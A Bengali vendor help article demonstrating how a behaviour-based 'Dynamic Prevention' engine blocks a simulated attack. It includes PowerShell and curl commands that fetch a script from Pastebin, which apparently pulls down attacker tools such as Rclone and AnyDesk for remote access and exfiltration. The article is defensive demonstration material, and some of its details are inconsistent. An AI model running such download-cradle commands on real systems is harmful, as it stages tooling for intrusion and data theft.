কীভাবে ডিনামিক প্রিভেনশন আপনার নেটওয়ার্ককে সুরক্ষা করে তা প্রদর্শন করা হচ্ছে

সারসংক্ষেপ

ডিনামিক প্রিভেনশন হল একটি আচরণ ভিত্তিক নিরাপত্তা ইঞ্জিন যা হুমকি শনাক্ত হলে আক্রমণ পৃষ্ঠ কমাতে এবং প্রভাবের আগে হুমকিগুলি কমাতে সক্রিয়ভাবে ডিনামিক নিয়ন্ত্রণ প্রয়োগ করে। আরও তথ্যের জন্য, দেখুন What is Dynamic Prevention?

এই নিবন্ধটি বাস্তব-জগত আক্রমণ পরিস্থিতি অনুকরণ করে দেখানো হয়েছে কিভাবে ডিনামিক প্রিভেনশন আপনার নেটওয়ার্ককে সুরক্ষা করে। এই উদাহরণে, একজন ব্যবহারকারী Pastebin থেকে একটি স্ক্রিপ্ট ডাউনলোড করেন যা একটি আক্রমণকারী ভবিষ্যৎ আক্রমণ চালানোর জন্য প্রয়োজনীয় অতিরিক্ত উচ্চ-ঝুঁকির সরঞ্জামগুলি পুনরুদ্ধার করার চেষ্টা করেন। ডিনামিক প্রিভেনশন ক্ষতিকারক আচরণ শনাক্ত করে এবং টুলকে ডাউনলোড করা থেকে ব্লক করে আক্রমণের অগ্রগতি বা যেকোনো প্রভাব ঘটার আগে আক্রমণ আটকায়।

এই আক্রমণের প্রতিক্রিয়া সম্পূর্ণরূপে স্বয়ংক্রিয়। কোনো অতিরিক্ত নিয়ম প্রয়োজন হয় না। মাত্র ডিনামিক প্রিভেনশন সক্রিয় করাই আক্রমণ প্রতিরোধের জন্য যথেষ্ট।

এই আক্রমণটি অনুকরণ করতে:

  1. উচ্চ-ঝুঁকির টুল ডাউনলোড করুন যা ব্লকড হয়নি
  2. Pastebin থেকে স্ক্রিপ্টটি ডাউনলোড করুন
  3. উচ্চ-ঝুঁকির সরঞ্জামগুলি আবার ডাউনলোড করার চেষ্টা করুন। এই সময়, ডাউনলোডটি ব্লক করা হয়েছে।

প্রয়োজনীয়তা

  • ডিনামিক প্রিভেনশন সক্রিয় হয়েছে এবং কার্যগুলি Block এ সেট করা হয়েছে

ধাপ 1: একটি উচ্চ-ঝুঁকিপূর্ণ সরঞ্জাম ডাউনলোড করুন

ডিনামিক প্রিভেনশন শুধুমাত্র তখনই কার্যগুলি ব্লক করে যখন সেগুলি ক্ষতিকারক সিকোয়েন্সের অংশ হয় তা প্রদর্শনের জন্য, প্রথমে Rclone ডাউনলোড করুন যা ফাইল ব্যবস্থার জন্য একটি ওপেন-সোর্স কমান্ড-লাইন টুল। আক্রমণকারীরা সাধারণত Rclone কে পোস্ট-কমপ্রোমাইজ টুল হিসাবে ব্যবহার করে কারণ এটি লেজিটিমেট, শক্তিশালী এবং সাধারণ প্রশাসনিক কার্যকলাপের সাথে মিশে যায়।

কার্য

Rclone নিম্নলিখিত থেকে ডাউনলোড করুন:

  • নিম্নলিখিত URL: https://downloads.rclone.org/rclone-current-windows-amd64.zip
  • উইন্ডোজ ডিভাইসগুলিতে:

    • নিম্নলিখিত পাওয়ারশেল কমান্ড: Open-InBrowser -Url "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"
  • macOS/Linux ডিভাইসগুলিতে:

    • নিম্নলিখিত টার্মিনাল কমান্ড: curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

ফলাফল

ফাইলটি সফলভাবে ডাউনলোড হয়েছে।

ব্যাখ্যা

এটি নিশ্চিত করে যে, পৃথকভাবে, কার্যটি ব্লকড নয়, কারণ সন্দেহজনক কার্যকলাপ দ্বারা পূর্বে এটি ধরা হয়নি।

ধাপ 2: পেস্টবিন থেকে একটি স্ক্রিপ্ট ডাউনলোড করুন

আক্রমণের সূচনা অনুকরণ করতে, Pastebin থেকে একটি স্ক্রিপ্ট ডাউনলোড করুন যা চালানো হলে সাধারণ আক্রমণকারী সরঞ্জামগুলি ডাউনলোড করে, উদাহরণস্বরূপ, রিমোট অ্যাক্সেস এবং এক্সফিল্ট্রেশনের জন্য Rclone এবং AnyDesk।

কার্য

Pastebin থেকে স্ক্রিপ্ট ডাউনলোড এবং চালান:

  • উইন্ডোজ ডিভাইসগুলিতে:

    • নিম্নলিখিত পাওয়ারশেল কমান্ড: (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/C5VxKUpE')
  • macOS/Linux ডিভাইসগুলিতে:

    • নিম্নলিখিত টার্মিনাল কমান্ড: curl -sSL "https://pastebin.com/raw/tXhVK2V7"

ফলাফল

স্ক্রিপ্ট চালায় এবং সরঞ্জামগুলি ডাউনলোড করে। একটি ডিনামিক নিয়ন্ত্রণ হোস্টে প্রয়োগ করা হয়, যা Threats DashboardHost with Controls উইজেটে প্রদর্শিত হয়। আরও তথ্যের জন্য, দেখুন Using the Security Threats Dashboard.

Dynamic_Prevention1.png

ব্যাখ্যা

ডিনামিক প্রিভেনশন সন্দেহজনক আচরণের সূচকগুলি সনাক্ত করে এবং পরবর্তী ক্ষতিকারক কার্যগুলি ব্লক করতে নিয়ন্ত্রণ প্রয়োগ করে সক্রিয়ভাবে আক্রমণ আটকায় প্রভাব ঘটার আগে।

ধাপ 3: একটি উচ্চ-ঝুঁকিপূর্ণ সরঞ্জাম ডাউনলোড করুন

অনুকৃত আক্রমণে, আক্রমণকারী Rclone ডাউনলোড করার চেষ্টা করেন। তবে, কারণ এই কার্যটি Pastebin থেকে স্ক্রিপ্ট ডাউনলোড করা সন্দেহজনক কার্যকলাপের অনুসরণ করে এবং একটি নিয়ন্ত্রণ প্রয়োগ করা হয়, ডিনামিক প্রিভেনশন Rclone ডাউনলোড ব্লক করে।

কার্য

Rclone নিম্নলিখিত থেকে ডাউনলোড করুন:

  • নিম্নলিখিত URL: https://downloads.rclone.org/rclone-current-windows-amd64.zip
  • উইন্ডোজ ডিভাইসগুলিতে:

    • নিম্নলিখিত পাওয়ারশেল কমান্ড: Open-InBrowser -Url "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"
  • macOS/Linux ডিভাইসগুলিতে:

    • নিম্নলিখিত টার্মিনাল কমান্ড: curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

ফলাফল

এই ফাইলের ডাউনলোড নিয়ন্ত্রণ দ্বারা ব্লক করা হয়েছে। ব্লক করা হুমকি Threats DashboardHost with Mitigated Threats উইজেটে প্রদর্শিত হয়।

DP5.png

ব্যাখ্যা

ধাপ 1-এ যেখানে এই স্ক্রিপ্টটি পৃথকভাবে চালানো হয়েছিল এবং তাই অনুমতি দেওয়া হয়েছিল, এই স্ক্রিপ্ট ডাউনলোড এখন একটি সন্দেহজনক কার্য দ্বারা পূর্বপ্রতিষ্ঠিত হয়েছে এবং ডিনামিক প্রিভেনশন দ্বারা ব্লক করা হয়েছে।

প্রদর্শনী

এই ভিডিওটি এই সিমুলেটেড আক্রমণের একটি প্রদর্শনী দেখায়:

এই নিবন্ধটি কি সহায়ক ছিল?

0 জনের মধ্যে 0 জন এটিকে সহায়ক বলে মনে করেছেন

0 মন্তব্য